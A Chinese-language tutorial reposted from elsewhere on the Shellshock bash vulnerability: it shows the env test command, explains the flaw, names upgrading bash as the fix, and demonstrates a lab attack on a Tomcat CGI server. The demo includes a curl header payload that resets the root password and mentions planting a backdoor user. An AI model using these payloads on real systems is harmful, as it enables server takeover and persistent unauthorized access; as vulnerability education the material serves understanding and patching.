文章转自

里面内容做了部分修改

 

BASH漏洞来源

BASH漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:

env x='() {:;}; echo vulnerable' bash -c "echo this is a test"

如果在一个含有版本号小于bash 4.3的linux或者unix系统上执行以上命令,可能会得到以下输出:

vulnerable

this is a test

其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。

注意:上面这个例子程序只是测试用,被***利用的话,肯定不会只是执行一个输出文本操作,利用这个漏洞,***可以做很多事情,这里大家各自理解一下,点破而不说破。

 

漏洞原理及分析:

该脚本的出现引起了金山毒霸安全中心的关注,其中env为一个系统命令,该命令让系统创建一个环境变量x='() { :;}; echovulnerable'并且带着这个环境变量的值执行bash-c“echo this is a test”。第一行输出的”vulnerable”暴露了漏洞的存在,因为函数定义’() { :;};’之后的’echo vulnerable’指令本不该被执行却被执行。对bash详细分析后得知bash在处理含有函数定义诸如”(){ :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。

所以真正的利用与env命令无关,只要设法让系统接受一个含有”[函数定义]+[任意命令]”的环境变量赋值则可触发”[任意命令]”部分所表示的代码执行。

 

漏洞存在条件:

任何已知程序,只要满足以下两个条件就可以被用来通过bash漏洞导致任意命令执行:

1、程序在某一时刻使用bash作为脚本解释器处理环境变量赋值;

2、环境变量赋值字符串的提交取决于用户输入。

 

漏洞解决办法:

解决该BASH漏洞,只需要升级BASH版本即可解决。

 

漏洞利用演示:

(这里演示的是在tomcat下面漏洞利用的一种方式,漏洞利用肯定不止这一种方式,在其他网站等的场合,只要能让服务器执行这段漏洞代码,即可以***成功)

测试环境,被黑服务器RED HAT5,IP地址:192.168.11.58,tomcat用的是5.5

另外一台***服务器,我用的是fedora,IP地址:192.168.11.56

 

【首先在RED HAT5被黑服务器上配置tomcat,使tomcat支持cgi编程】

TOMCAT需要支持CGI,以下是修改tomcat,让其支持cgi的过程

第一步

去掉conf/web.xml中的如下段中的注释,红色部分内容是需要添加的内容。
告诉tomcat,cgi的文件放在每个应用的WEB_INF/cgi-bin下面
    <servlet>
       <servlet-name>cgi</servlet-name>
       <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
         <param-name>debug</param-name>
         <param-value>0</param-value>
        </init-param>
       <init-param>
         <param-name>passShellEnvironment</param-name>
         <param-value>true</param-value>
         </init-param>
        <init-param>
         <param-name>cgiPathPrefix</param-name>
         <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
        <init-param>
      <param-name>executable</param-name>
      <param-value>/bin/sh</param-value>
     </init-param>
    </servlet>
第二步
去掉conf/web.xml中的如下段中的注释。
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
第三步
在测试应用testjsp下面创建目录cgi-bin
/testjsp/WEB-INF/cgi-bin
创建测试cgi文件vul_cgi.sh
vi vul_cgi.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo "  <body>"
echo "          A Hellowordfrom Duba!"
echo "  </body>"
echo "</html>"
第四步
启动tomcat
第五步
测试应用

 

这样就会输出A Helloword from Duba!

 

【在***服务器fedora上面执行下面***过程】

用另外一台linux操作系统,执行以下命令,让被黑主机修改root密码为good

curl-H 'A_Custom_Header: () { :;}; /bin/bash  -c "echo "good" |passwd --stdin root"'

 

命令执行完毕不输出任何提示,所谓“没有消息就是好消息”。

 

解释:useradd nihao ; echo "good" | passwd --stdin nihao是直接创建用户nihao ,同时指定密码good,以后还有利用价值。上面运用了echo "good" | passwd --stdin root修改root密码为good,使用了管道命令

 

【到这一步,已经完成***过程,***目的就是在被黑主机RED HAT上面修改root口令为good,下面测试是否成功创建】

下面,连接被黑服务器,ssh 192.168.11.58  用户名root,密码good,登录192.168.11.58成功,主机成功拿下。